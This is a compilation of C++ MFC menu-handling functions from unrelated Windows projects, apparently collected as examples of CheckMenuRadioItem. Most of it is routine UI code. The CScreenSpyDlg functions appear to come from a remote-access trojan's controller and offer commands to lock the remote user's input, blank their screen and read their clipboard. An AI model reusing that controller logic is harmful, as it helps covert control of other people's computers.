void CRemoteFileDialog::OnViewMenu() { // build the view menu manually (because we're a non-resource dependent file) CMenu menu; if (menu.CreatePopupMenu()) { menu.InsertMenu(0, MF_STRING | MF_BYPOSITION, ID_VIEW_LARGEICON, _T("Lar&ge Icons")); menu.InsertMenu(1, MF_STRING | MF_BYPOSITION, ID_VIEW_SMALLICON, _T("S&mall Icons")); menu.InsertMenu(2, MF_STRING | MF_BYPOSITION, ID_VIEW_LIST, _T("&List")); menu.InsertMenu(3, MF_STRING | MF_BYPOSITION, ID_VIEW_DETAILS, _T("&Details")); // check the appropriate one int nView = (m_lcFiles.GetStyle() & LVS_TYPEMASK); menu.CheckMenuRadioItem(ID_VIEW_LARGEICON, ID_VIEW_DETAILS, VIEWIDS[nView], MF_BYCOMMAND); // get the button rect in screen coords CRect rButton; m_toolbar.GetItemRect(1, rButton); m_toolbar.ClientToScreen(rButton); m_toolbar.GetToolBarCtrl().PressButton(ID_VIEWMENU); menu.TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, rButton.left, rButton.bottom, this); m_toolbar.GetToolBarCtrl().PressButton(ID_VIEWMENU, FALSE); } }
void CExplorerTestView::OnContextMenu(CWnd* pWnd, CPoint point) { // TODO: Add your message handler code here CMenu menu; CMenu* pSubMenu; CListCtrl& listCtrl = GetListCtrl(); //m_ptRButton = point; menu.LoadMenu(IDR_CONTEXTMENU); if (listCtrl.GetSelectedCount() < 1) // 뷰 영역을 클릭하면 { UINT nID = GetCurrentID(); pSubMenu = menu.GetSubMenu(1); // 라디오 버튼으로 체크한다. pSubMenu->CheckMenuRadioItem(ID_VIEW_SMALLICON, ID_VIEW_DETAILS, nID, MF_BYCOMMAND); } else // 파일을 클릭하면 { pSubMenu = menu.GetSubMenu(0); SetEnableMenu(pSubMenu); } pSubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y, this); }
BOOL CMainFrame::OnViewSmallIcon() { // Handle the the View submenu CMenu ViewMenu = GetFrameMenu().GetSubMenu(1); GetListView().ViewSmallIcons(); ViewMenu.CheckMenuRadioItem(IDM_VIEW_SMALLICON, IDM_VIEW_REPORT, IDM_VIEW_SMALLICON, 0); return TRUE; }
void CMainFrame::OnUpdateRangeOfIds_Radio(UINT nID) { UINT adjId = nID - ID_RADIO_A; UINT curRadio = GetDoc()->GetRadio(); BOOL bCheck = (curRadio == adjId); int nFileItem = GetMenuItemPos(GetFrameMenu(), _T("Select")); CMenu* pRadioMenu = GetFrameMenu()->GetSubMenu(nFileItem); if (bCheck) pRadioMenu->CheckMenuRadioItem(ID_RADIO_A, ID_RADIO_C, nID, 0); }
//权限界面弹出菜单 VOID HsProcessPrivilegePopupMenu(CMyList *m_ListCtrl, CWnd* parent) { CMenu popup; popup.LoadMenu(IDR_MENU_PROCESS_PRIVILEGE); //加载菜单资源 CMenu* pM = popup.GetSubMenu(0); //获得菜单的子项 CPoint p; GetCursorPos(&p); int count = pM->GetMenuItemCount(); if (m_ListCtrl->GetSelectedCount() == 0) //如果没有选中 { for (int i = 0;i<count;i++) { pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰 } } else { POSITION pos = m_ListCtrl->GetFirstSelectedItemPosition(); while(pos) { int iItem = m_ListCtrl->GetNextSelectedItem(pos); if (_wcsnicmp(m_ListCtrl->GetItemText(iItem,2),L"Default Enabled",15) == 0) { for (int i = 1;i<count;i++) { pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰 } } else if (_wcsnicmp(m_ListCtrl->GetItemText(iItem,2),L"Enabled",7) == 0) { pM->CheckMenuRadioItem(2,3,2, MF_BYPOSITION | MF_CHECKED); } else { pM->CheckMenuRadioItem(2,3,3, MF_BYPOSITION | MF_CHECKED); } } } pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, parent); }
//最初化するところ void CChildFrame::OnShowWindow(BOOL bShow, UINT nStatus) { CMDIChildWnd::OnShowWindow(bShow, nStatus); // TODO: ここにメッセージ ハンドラ コードを追加します。 CMainFrame * pMain = (CMainFrame *)GetMDIFrame( ); //ラン状態のOFFを設置 CMenu * pMainMenu = pMain->GetMenu(); CMenu * pSubMenu = pMainMenu->GetSubMenu(3); CMenu * pSSubMenu = pSubMenu->GetSubMenu(5); pSSubMenu->CheckMenuRadioItem(ID_STATE_ONLINE,ID_STATE_OFFLINE,ID_STATE_OFFLINE,MF_BYCOMMAND); }
void CMainFrame::ToolbarMenu (CToolBar& wndToolbar, UINT nID) { int i, n, count; CMenu menu; CBitmap *bmp; CRect rect1, rect2; menu.CreatePopupMenu (); count = theSettings.GetSetting (nID, CSettings::sqCount); for (i = 0; i < count; ++i) { menu.AppendMenu (MF_STRING, n = theSettings.GetSetting (nID, CSettings::sqMenuID, true, (UINT)i), theSettings.GetSetting (nID, CSettings::sqName, (UINT)i)); bmp = theApp.LoadBitmap (theSettings.GetSetting (nID, CSettings::sqBmpID, true, (UINT)i)); menu.SetMenuItemBitmaps (n, MF_BYCOMMAND, bmp, bmp); } menu.CheckMenuRadioItem (0, count, theSettings.GetSetting (nID, CSettings::sqCurrent), MF_BYPOSITION); wndToolbar.GetWindowRect (&rect1); wndToolbar.GetToolBarCtrl ().GetRect (nID, &rect2); menu.TrackPopupMenu (TPM_LEFTALIGN | TPM_RIGHTBUTTON, rect1.left + rect2.left, rect1.top + rect2.bottom, this); }
BOOL SidebarWindow::OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult) { // we are interesting in catching TBN_DROPDOWN LPNMHDR notifyData = reinterpret_cast<LPNMHDR>(lParam); if (notifyData->code == TBN_DROPDOWN) { CMenu* sortSubMenu = sortMenu_.GetSubMenu(1); if (!sortSubMenu) throw Error("Failed to get sort submenu\n"); //get all the menu items in the current culture for (unsigned int index = 0; index < sortSubMenu->GetMenuItemCount(); ++index) { ToolbarWindow::updateItem(sortSubMenu, index); } const UINT trackFlags = TPM_BOTTOMALIGN | TPM_LEFTALIGN | TPM_RIGHTBUTTON; CRect sortButtonRect = settingsSortToolbar_.getItemRect( sortButtonIndex_); settingsSortToolbar_.MapWindowPoints(0, &sortButtonRect); sortSubMenu->CheckMenuRadioItem(ID_SORT_LAST_UPDATE_TIME, ID_SORT_NAME, sortModeToResID(activeSortMode_) , MF_BYCOMMAND); // Determine if MS Windows is right aligned and get position of the sort button // depending on it int x = isBiDi(LOCALE_SYSTEM_DEFAULT) ? sortButtonRect.right : sortButtonRect.left; const BOOL trackResult = sortSubMenu->TrackPopupMenu(trackFlags, x, sortButtonRect.top, this); if (FALSE == trackResult) throw Error("Failed to track sort menu\n"); *pResult = TBDDRET_DEFAULT; return TRUE; } // catch the dynamic separator redraw if (notifyData->code == NM_CUSTOMDRAW) { return onToolbarCustomDraw((LPNMTBCUSTOMDRAW)(lParam),*pResult); } return CWnd::OnNotify(wParam, lParam, pResult); }
void CMainFrame::OnInitialUpdate() { // Add the right window pane int Width = (int) (GetWindowRect().Width() * 0.3); DWORD dwDockStyle = DS_DOCKED_LEFT | DS_NO_UNDOCK | DS_NO_CAPTION; m_pLeftPane = static_cast<CLeftPane*>(m_RightPane.AddDockedChild(new CLeftPane, dwDockStyle, Width)); // All windows are now created, so populate the treeview GetTreeView().GetRootItems(); // Uncheck the hidden menu item GetFrameMenu().CheckMenuItem(IDM_SHOW_HIDDEN, MF_UNCHECKED); // Place Radio button in view menu CMenu ViewMenu = GetFrameMenu().GetSubMenu(1); ViewMenu.CheckMenuRadioItem(IDM_VIEW_SMALLICON, IDM_VIEW_REPORT, IDM_VIEW_REPORT, 0); // Uncomment the following to use a hash bar and disable of auto resizing // m_RightPane.SetDragAutoResize(FALSE); }
BOOL CDHtmlMainDialog::OnCommand(WPARAM wParam, LPARAM lParam) { // Select Theme if(WM_THEME_ID <= wParam && wParam < WM_THEME_ID + (UINT)m_MenuArrayTheme.GetSize()) { CMenu menu; CMenu subMenu; menu.Attach(GetMenu()->GetSafeHmenu()); subMenu.Attach(menu.GetSubMenu(m_ThemeIndex)->GetSafeHmenu()); m_CurrentTheme = m_MenuArrayTheme.GetAt(wParam - WM_THEME_ID); ChangeTheme(m_MenuArrayTheme.GetAt(wParam - WM_THEME_ID)); subMenu.CheckMenuRadioItem(WM_THEME_ID, WM_THEME_ID + (UINT)m_MenuArrayTheme.GetSize(), (UINT)wParam, MF_BYCOMMAND); subMenu.Detach(); menu.Detach(); } return CDHtmlDialogEx::OnCommand(wParam, lParam); }
void CDHtmlMainDialog::InitMenu() { CMenu menu; CMenu subMenu; BOOL FlagHitTheme = FALSE; BOOL FlagHitLang = FALSE; UINT newItemID = 0; UINT currentItemID = 0; UINT defaultStyleItemID = 0; UINT defaultLanguageItemID = 0; WIN32_FIND_DATA findData; WIN32_FIND_DATA findCssData; HANDLE hFind; HANDLE hCssFind; CString themePath; CString themeCssPath; CString langPath; int i = 0; TCHAR *ptrEnd; TCHAR str[256]; menu.Attach(GetMenu()->GetSafeHmenu()); subMenu.Attach(menu.GetSubMenu(m_ThemeIndex)->GetSafeHmenu()); // subMenu.RemoveMenu(0, MF_BYPOSITION); themePath.Format(_T("%s\\*.*"), m_ThemeDir); hFind = ::FindFirstFile(themePath, &findData); if(hFind != INVALID_HANDLE_VALUE) { while(::FindNextFile(hFind, &findData) && i <= 0xFF) { if(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // themeCssPath.Format(_T("%s\\%s\\%s"), m_ThemeDir, // findData.cFileName, MAIN_CSS_FILE_NAME); hCssFind = ::FindFirstFile(themeCssPath, &findCssData); if(hCssFind != INVALID_HANDLE_VALUE) { // Add Theme newItemID = WM_THEME_ID + i; i++; subMenu.AppendMenu(MF_STRING, (UINT_PTR)newItemID, findData.cFileName); m_MenuArrayTheme.Add(findData.cFileName); if(m_CurrentTheme.Compare(findData.cFileName) == 0) { currentItemID = newItemID; FlagHitTheme = TRUE; } if(_tcsstr(findData.cFileName, _T("default")) != NULL) { defaultStyleItemID = newItemID; } } } } } FindClose(hFind); if(! FlagHitTheme) { currentItemID = defaultStyleItemID; m_CurrentTheme = _T("default"); } subMenu.CheckMenuRadioItem(WM_THEME_ID, WM_THEME_ID + (UINT)m_MenuArrayTheme.GetSize(), currentItemID, MF_BYCOMMAND); subMenu.Detach(); #ifdef _UNICODE subMenu.Attach(menu.GetSubMenu(m_LangIndex)->GetSafeHmenu()); CMenu subMenuAN; CMenu subMenuOZ; subMenuAN.Attach(subMenu.GetSubMenu(0)->GetSafeHmenu()); // 1st is "A~N" subMenuAN.RemoveMenu(0, MF_BYPOSITION); subMenuOZ.Attach(subMenu.GetSubMenu(1)->GetSafeHmenu()); // 2nd is "O~Z" subMenuOZ.RemoveMenu(0, MF_BYPOSITION); langPath.Format(_T("%s\\*.lang"), m_LangDir); i = 0; hFind = ::FindFirstFile(langPath, &findData); if(hFind != INVALID_HANDLE_VALUE) { do{ if(findData.dwFileAttributes != FILE_ATTRIBUTE_DIRECTORY) { newItemID = WM_LANGUAGE_ID + i; i++; // Add Language CString cstr; cstr.Format(_T("%s\\%s"), m_LangDir, findData.cFileName); GetPrivateProfileString(_T("Language"), _T("LANGUAGE"), _T(""), str, 256, cstr); if((ptrEnd = _tcsrchr(findData.cFileName, '.')) != NULL) { *ptrEnd = '\0'; } cstr.Format(_T("%s, [%s]"), str, findData.cFileName); if('A' <= findData.cFileName[0] && findData.cFileName[0] <= 'N') { subMenuAN.AppendMenu(MF_STRING, (UINT_PTR)newItemID, cstr); } else { subMenuOZ.AppendMenu(MF_STRING, (UINT_PTR)newItemID, cstr); } m_MenuArrayLang.Add(findData.cFileName); if(m_CurrentLang.Compare(findData.cFileName) == 0) { currentItemID = newItemID; FlagHitLang = TRUE; } } }while(::FindNextFile(hFind, &findData) && i <= 0xFF); } FindClose(hFind); subMenuAN.CheckMenuRadioItem(WM_LANGUAGE_ID, WM_LANGUAGE_ID + (UINT)m_MenuArrayLang.GetSize(), currentItemID, MF_BYCOMMAND); subMenuOZ.CheckMenuRadioItem(WM_LANGUAGE_ID, WM_LANGUAGE_ID + (UINT)m_MenuArrayLang.GetSize(), currentItemID, MF_BYCOMMAND); subMenuOZ.Detach(); subMenuAN.Detach(); subMenu.Detach(); menu.Detach(); #else subMenu.Attach(menu.GetSubMenu(m_LangIndex)->GetSafeHmenu()); subMenu.RemoveMenu(0, MF_BYPOSITION);//A~N subMenu.RemoveMenu(0, MF_BYPOSITION);//O~Z langPath.Format(_T("%s\\*.lang"), m_LangDir); i = 0; hFind = ::FindFirstFile(langPath, &findData); if(hFind != INVALID_HANDLE_VALUE) { do{ if(findData.dwFileAttributes != FILE_ATTRIBUTE_DIRECTORY) { newItemID = WM_LANGUAGE_ID + i; i++; // Add Language CString cstr; cstr.Format(_T("%s\\%s"), m_LangDir, findData.cFileName); GetPrivateProfileString(_T("Language"), _T("LANGUAGE"), _T(""), str, 256, cstr); if((ptrEnd = _tcsrchr(findData.cFileName, '.')) != NULL){ *ptrEnd = '\0'; } cstr.Format(_T("%s, [%s]"), str, findData.cFileName); subMenu.AppendMenu(MF_STRING, (UINT_PTR)newItemID, cstr); m_MenuArrayLang.Add(findData.cFileName); if(m_CurrentLang.Compare(findData.cFileName) == 0) { currentItemID = newItemID; FlagHitLang = TRUE; } } }while(::FindNextFile(hFind, &findData) && i <= 0xFF); } FindClose(hFind); subMenu.CheckMenuRadioItem(WM_LANGUAGE_ID, WM_LANGUAGE_ID + (UINT)m_MenuArrayLang.GetSize(), currentItemID, MF_BYCOMMAND); subMenu.Detach(); menu.Detach(); #endif if(! FlagHitLang) { AfxMessageBox(_T("Fatal Error. Missing Language Files!!")); } }
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) { CMenu* pSysMenu = GetSystemMenu(FALSE); switch (nID) { case IDM_CONTROL: { m_bIsCtrl = !m_bIsCtrl; pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); if (m_bIsCtrl) { if (m_bIsTraceCursor) SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT)); else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor); } else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO)); } break; case IDM_SEND_CTRL_ALT_DEL: { BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_TRACE_CURSOR: // 跟踪服务端鼠标 { m_bIsTraceCursor = !m_bIsTraceCursor; pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED); if (m_bIsCtrl) { if (!m_bIsTraceCursor) SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor); else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT)); } // 重绘消除或显示鼠标 OnPaint(); } break; case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘 { bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLOCK_INPUT; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_BLANK_SCREEN: // 服务端黑屏 { bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLANK; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_CAPTURE_LAYER: // 捕捉层 { bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_SAVEDIB: SaveSnapshot(); break; case IDM_GET_CLIPBOARD: // 获取剪贴板 { BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_SET_CLIPBOARD: // 设置剪贴板 { SendLocalClipboard(); } break; case IDM_ALGORITHM_SCAN: // 隔行扫描算法 { SendResetAlgorithm(ALGORITHM_SCAN); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND); } break; case IDM_ALGORITHM_DIFF: // 差异比较算法 { SendResetAlgorithm(ALGORITHM_DIFF); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND); } break; case IDM_DEEP_1: { SendResetScreen(1); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND); } break; case IDM_DEEP_4_GRAY: { SendResetScreen(3); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND); } break; case IDM_DEEP_4_COLOR: { SendResetScreen(4); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND); } break; case IDM_DEEP_8_GRAY: { SendResetScreen(7); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND); } break; case IDM_DEEP_8_COLOR: { SendResetScreen(8); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND); } break; case IDM_DEEP_16: { SendResetScreen(16); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND); } break; case IDM_DEEP_32: { SendResetScreen(32); pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND); } break; default: CDialog::OnSysCommand(nID, lParam); } }
BOOL CScreenSpyDlg::OnInitDialog() { CDialog::OnInitDialog(); // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO)); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)"); pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)"); pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)"); pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)"); pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)"); pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)"); pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)"); pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)"); pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)"); pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)"); pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)"); pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)"); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)"); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)"); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)"); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)"); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)"); pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)"); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND); pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND); } // TODO: Add extra initialization here CString str; str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight); SetWindowText(str); m_HScrollPos = 0; m_VScrollPos = 0; m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW); ICONINFO CursorInfo; ::GetIconInfo(m_hRemoteCursor, &CursorInfo); if (CursorInfo.hbmMask != NULL) ::DeleteObject(CursorInfo.hbmMask); if (CursorInfo.hbmColor != NULL) ::DeleteObject(CursorInfo.hbmColor); m_dwCursor_xHotspot = CursorInfo.xHotspot; m_dwCursor_yHotspot = CursorInfo.yHotspot; m_RemoteCursorPos.x = 0; m_RemoteCursorPos.x = 0; m_bIsTraceCursor = false; // 初始化窗口大小结构 m_hDC = ::GetDC(m_hWnd); m_hMemDC = CreateCompatibleDC(m_hDC); m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL); SelectObject(m_hMemDC, m_hFullBitmap); SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth); SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight); InitMMI(); SendNext(); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE }
void CMainFrame::ChooseColor(UINT nColor) { m_nColor = nColor; switch (nColor) { case IDM_MODERN: { SetReBarColors( RGB(225, 230, 255), RGB(240, 242, 250), RGB(248, 248, 248), RGB(180, 200, 230) ); StatusBarTheme sbt = {TRUE, RGB(225, 230, 255), RGB(240, 242, 250)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(180, 250, 255), RGB(140, 190, 255), RGB(150, 220, 255), RGB(80, 100, 255), RGB(127, 127, 255)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(180, 250, 255), RGB(140, 190, 255), RGB(240, 250, 255), RGB(120, 170, 220), RGB(127, 127, 255)}; SetMenuTheme(&mt); } break; case IDM_BLUE: // ICY_BLUE Theme { SetReBarColors( RGB(150,190,245), RGB(196,215,250), RGB(220,230,250), RGB( 70,130,220) ); StatusBarTheme sbt = {TRUE, RGB(150,190,245), RGB(196,215,250)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(255, 230, 190), RGB(255, 190, 100), RGB(255, 140, 40), RGB(255, 180, 80), RGB(128, 128, 255)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(255, 230, 190), RGB(255, 190, 100), RGB(150,190,245), RGB(220,230,250), RGB(128, 128, 200)}; SetMenuTheme(&mt); } break; case IDM_GREY: // Grey Theme { SetReBarColors( RGB(210, 210, 200), RGB(238, 236, 224), RGB(248, 247, 243), RGB(195, 195, 172) ); StatusBarTheme sbt = {TRUE, RGB(210, 210, 200), RGB(238, 236, 224)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(192, 210, 238), RGB(192, 210, 238), RGB(152, 181, 226), RGB(152, 181, 226), RGB(49, 106, 197)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(196, 215, 250), RGB( 120, 180, 220), RGB(210, 210, 200), RGB(248, 247, 243), RGB(128, 128, 200)}; SetMenuTheme(&mt); } break; case IDM_OLIVE: { SetReBarColors( RGB(160, 180, 80), RGB(180, 200, 100), RGB(200, 220, 120), RGB(80, 159, 78) ); StatusBarTheme sbt = {TRUE, RGB(160, 180, 80), RGB(180, 200, 100)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(255, 230, 190), RGB(255, 190, 100), RGB(255, 140, 40), RGB(255, 180, 80), RGB(128, 128, 255)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(255, 200, 190), RGB(255, 210, 90), RGB(255, 230, 190), RGB(230, 160, 190), RGB(128, 128, 128)}; SetMenuTheme(&mt); } break; case IDM_GOLD: { SetReBarColors( RGB(230, 180, 0), RGB(240, 210, 90), RGB(255, 240, 150), RGB(180, 140, 50) ); StatusBarTheme sbt = {TRUE, RGB(230, 180, 0), RGB(240, 210, 90)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(192, 210, 238), RGB(192, 210, 238), RGB(152, 181, 226), RGB(152, 181, 226), RGB(49, 106, 197)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(196, 215, 250), RGB( 120, 180, 220), RGB(240, 210, 90), RGB(255, 240, 150), RGB(128, 128, 128)}; SetMenuTheme(&mt); } break; case IDM_OCHRE: { SetReBarColors( RGB(248, 132, 12), RGB(248, 198, 10), RGB(248, 210, 20), RGB(248, 141, 6) ); StatusBarTheme sbt = {TRUE, RGB(248, 132, 12), RGB(248, 198, 10)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(192, 210, 238), RGB(192, 210, 238), RGB(152, 181, 226), RGB(152, 181, 226), RGB(49, 106, 197)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(196, 215, 250), RGB( 120, 180, 220), RGB(150,190,245), RGB(220,230,250), RGB(128, 128, 128)}; SetMenuTheme(&mt); } break; case IDM_PINK: { SetReBarColors( RGB(255, 130, 190), RGB(250, 205, 235), RGB(250, 205, 235), RGB(255, 120, 170) ); StatusBarTheme sbt = {TRUE, RGB(255, 130, 190), RGB(250, 205, 235)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(192, 210, 238), RGB(192, 210, 238), RGB(248, 147, 220), RGB(248, 153, 179), RGB(49, 106, 197)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(196, 215, 250), RGB( 120, 180, 220), RGB(255, 130, 190), RGB(250, 205, 235), RGB(128, 128, 128)}; SetMenuTheme(&mt); } break; case IDM_MAUVE: { SetReBarColors( RGB(210, 128, 155), RGB(230, 160, 190), RGB(230, 158, 188), RGB(110, 100, 125) ); StatusBarTheme sbt = {TRUE, RGB(210, 128, 155), RGB(230, 160, 190)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(192, 210, 238), RGB(192, 210, 238), RGB(152, 181, 226), RGB(152, 181, 226), RGB(49, 106, 197)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(196, 215, 250), RGB( 120, 180, 220), RGB(150,190,245), RGB(220,230,250), RGB(128, 128, 128)}; SetMenuTheme(&mt); } break; case IDM_BLACK: { SetReBarColors( RGB(128, 138 ,176), RGB(98, 108 ,136), RGB(77, 87, 97), RGB(7, 17, 27) ); StatusBarTheme sbt = {TRUE, RGB(128, 138 ,176), RGB(98, 108 ,136)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(49, 106, 197), RGB(64,177,230), RGB(27,65, 160), RGB(64,177,230), RGB(49, 106, 197)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(84,197,240), RGB(89, 136, 217), RGB(59, 126, 197), RGB(94,187,230), RGB(128, 128, 128)}; SetMenuTheme(&mt); } break; default: { m_nColor = IDM_MODERN; SetReBarColors( RGB(225, 230, 255), RGB(240, 242, 250), RGB(248, 248, 248), RGB(180, 200, 230) ); StatusBarTheme sbt = {TRUE, RGB(225, 230, 255), RGB(240, 242, 250)}; SetStatusBarTheme (&sbt); ToolBarTheme tbt = {TRUE, RGB(180, 250, 255), RGB(140, 190, 255), RGB(150, 220, 255), RGB(80, 100, 255), RGB(127, 127, 255)}; SetToolBarTheme(&tbt); MenuTheme mt = {TRUE, RGB(180, 250, 255), RGB(140, 190, 255), RGB(240, 250, 255), RGB(120, 170, 220), RGB(127, 127, 255)}; SetMenuTheme(&mt); } break; } // Check the appropriate menu item int nFileItem = GetMenuItemPos(GetFrameMenu(), _T("Theme")); if (nFileItem >= 0) { CMenu* pThemeMenu = GetFrameMenu()->GetSubMenu(nFileItem); pThemeMenu->CheckMenuRadioItem(IDM_BLUE, IDM_MODERN, nColor, 0); } RecalcLayout(); }
